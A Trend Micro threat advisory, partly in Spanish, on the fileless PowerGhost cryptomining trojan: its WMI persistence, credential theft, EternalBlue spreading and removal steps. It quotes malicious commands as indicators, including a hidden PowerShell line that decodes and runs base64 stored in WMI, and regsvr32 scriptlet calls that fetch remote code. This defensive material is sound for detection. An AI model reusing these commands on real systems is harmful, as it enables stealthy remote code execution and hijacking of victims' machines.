Author: Warren Adam Sto. Tomas   

 Threat sub-type::

Fileless

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 Beeinträchtigung der Systemleistung ::
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Se propaga vía vulnerabilidades de software

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Se aprovecha de las vulnerabilidades de software para propagarse por las redes.

  TECHNICAL DETAILS

PAYLOAD: Connects to URLs/IPs, Terminates processes, Downloads files, Steals information

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`

Técnica de inicio automático

Inicia los servicios siguientes:

  • RpcSs
  • RpcLocator
  • RemoteRegistry
  • RpcEptMapper
  • Winmgmt
  • WinRM

Propagación

Se aprovecha de las vulnerabilidades de software siguientes para propagarse por las redes:

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

  • Powershell processes with an established TCP connection via port 80, or 14444
  • Any processes with established connection to ports 3333, 5555, or 7777

Rutina de descarga

Guarda los archivos que descarga con los nombres siguientes:

  • %User Temp%\{random characters}.exe → TrojanSpy.Win32.BLUTEAL.D
  • %User Temp%\java-log-9527.log → contains shellcode
  • /tmp/coreupdtes (for Unix platforms) → contains script to download and execute a cryptominer

Robo de información

Recopila los siguientes datos:

  • User Credentials
  • OS Version
  • Computer Name
  • Domain Name

Otros detalles

Hace lo siguiente:

  • It creates IPSec Firewall Policy
    • Name: netbc
    • Function: Blocks tcp connections to infected machine via port 445 (SMB)
  • It is capable of propagating in the local network via the following means:
    • SMB Exploit (MS17-010)
    • MSSQL and SSH Brute-Forcing
    • Dumping Windows Domain Credentials using any of the following techniques/tools
      • Mimikatz
      • Pass-The-Hash
  • It creates the following WMI Class under ROOT\default:
    • Window_Core_Flush_Cach
      • WMI objects:
        • mimi - Mimikatz scripts
        • mon - Monero cryptominer
        • funs - Powershell Empire modules used for propagation or lateral movement
        • ipsu - List of IP addresses vulnerable for propagation
        • i17 - List of IP addresses vulnerable for SMB exploit
        • ver - PowerGhost version
        • sc - Shellcode
  • It creates the following WMI Classes under ROOT\subscription to achieve persistence in the system:
    • CommandLineEventConsumer
      • Name: Systems Manage Consumer
      • Command: powershell.exe -NoP -NonI -W Hidden -E {base64 encoded command}
    • __EventFilter
      • Name: Systems Manage Filter
    • __FilterToConsumerBinding
  • It modifies power configuration settings using the following commands:
    • powercfg /CHANGE -standby-timeout-ac 0 (Standby timeout set to 0 minutes)
    • powercfg /CHANGE -hibernate-timeout-ac 0 (Hibernate timeout set to 0 minutes)
    • powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 (Power buttons and lid close action set to do nothing)

  SOLUTION

Minimum scan engine: 9.850

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Reiniciar en modo seguro

[ learnMore ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • SystemFlushDns - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”
  • Microsoft Assist Job - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Fileless.POWERGHOST En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

Step 6

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Fileless.POWERGHOST En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


Did this description help? Tell us how we did.